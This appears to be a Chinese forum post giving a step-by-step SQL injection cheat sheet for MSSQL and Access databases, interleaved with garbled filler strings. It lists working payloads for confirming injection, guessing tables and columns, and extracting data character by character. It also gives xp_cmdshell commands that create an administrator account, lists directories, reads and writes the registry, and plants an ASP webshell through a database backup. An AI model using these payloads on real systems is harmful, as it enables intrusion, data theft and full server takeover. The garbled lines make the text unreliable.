手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2
5 X2 K, T) ?3 w; ?
# U% h% d& h7 y2.初步判断是否是mssql ;and user>0
0 i' w+ ~& v  e4 [/ O( w" h
) `/ u, G+ O" J  K3.注入参数是字符'and [查询条件] and ''='
$ K2 a5 }7 O4 v; i
4.搜索时没过滤参数的'and [查询条件] and '%25'='

2 H% X- y9 B, R& i- r/ {5.判断数据库系统
2 S7 J" j( l7 U/ d! T( Z1 s$ L;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

5 M1 E1 h( c) q$ x* A4 n6.猜数据库 ;and (select Count(*) from [数据库名])>0
/ U4 A; M! U, m- I/ \; R; V- R
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
6 c: j: S4 O9 T( I; W
: I0 {, z# d, |+ J+ k# Z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值（access）
5 W6 v5 i# q9 A5 D2 x& G;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
, Z5 f+ v1 p2 Q& x3 Q4 _. t- G3 G5 y
& _4 p0 R% v$ ?* G(2)猜字段的ascii值（mssql）
9 `  n3 n/ u1 w) [# D5 d' {1 D;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构（mssql）
8 }) a# N! t: F, H  i8 v+ m;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
2 `- I- d# j5 c$ p9 n- a;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
% M) L0 T8 d# i/ F# @$ x6 u
- \0 A6 h. c# H0 R11.添加mssql和系统的帐户
! i8 g, u5 v9 V( K8 m3 d;exec master.dbo.sp_addlogin username;--
7 {! H5 K" {3 H. q$ t
;exec master.dbo.sp_password null,username,password;--

; T: n" N. \, q' B. a0 U;exec master.dbo.sp_addsrvrolemember sysadmin username;--
6 B) c3 v9 u' a8 b6 v" c
/ G) y, q- A" P5 [$ m;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

1 i( ^+ Q2 F- @( r3 {2 U; i: k;exec master.dbo.xp_cmdshell 'net user username password /add';--
% `, t' q; g6 [* e7 q+ c
! B! t# l4 K8 Q+ D;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录
/ k, X" Z; K, L& R6 k/ s
;create table dirs(paths varchar(100), id int)
# R7 ]; i8 k7 u' w* l5 z;insert dirs exec master.dbo.xp_dirtree 'c:\'
/ w9 `1 ?+ j) v& m;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 w  N9 |! a, M5 C7 v
6 w" j+ _! X5 x, A. N(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
8 H2 w5 O4 |% S/ f/ U7 E
& v$ T1 R# H* r/ i% N, C9 l3 F13.mssql中的存储过程

+ @1 H  x$ z9 o7 p1 H7 P5 ^, dxp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
( O; D5 d" N  v" Z; g9 q. |6 o;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
* x% D$ P* W1 Q  n  l4 s) z
xp_regwrite 根键,子键, 值名, 值类型, 值
7 {7 A8 z) u  f# W  \' X值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
  _8 p3 U* G; L+ f7 W: V; T+ c
5 f: R' A% N, w3 `xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
, T( k( j8 X& J1 C; P
; I$ T0 q# z( Cxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
' }/ Z. L# L- e* V
' }9 ]: g# T2 w" J( w9 j14.mssql的backup创建webshell
use model
create table cmd(str image);
) W7 L1 W& e6 m3 n2 `- B' yinsert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

# ]; b% e2 }! ^. [15.mssql内置函数
% f  L& I; I( i8 _5 U1 h;and (select @@version)>0 获得Windows的版本号
6 ?& `) O' h; v;and user_name()='dbo' 判断当前系统的连接用户是不是sa
# {" q1 v; G) Y;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

$ E9 y2 _% t+ N" X% z16.简洁的webshell

use model

create table cmd(str image);
1 y' ?( s4 c, v. {
insert into cmd(str) values ('');

) U7 Q; l% y( X: bbackup database model to disk='g:\wwwtest\l.asp';
: S: p. e! \% r* c9 Z
5 ?2 f2 {/ J  f6 H, @7 ?* W& ?

老男孩

现在很多防注入啊，有其他注入字符码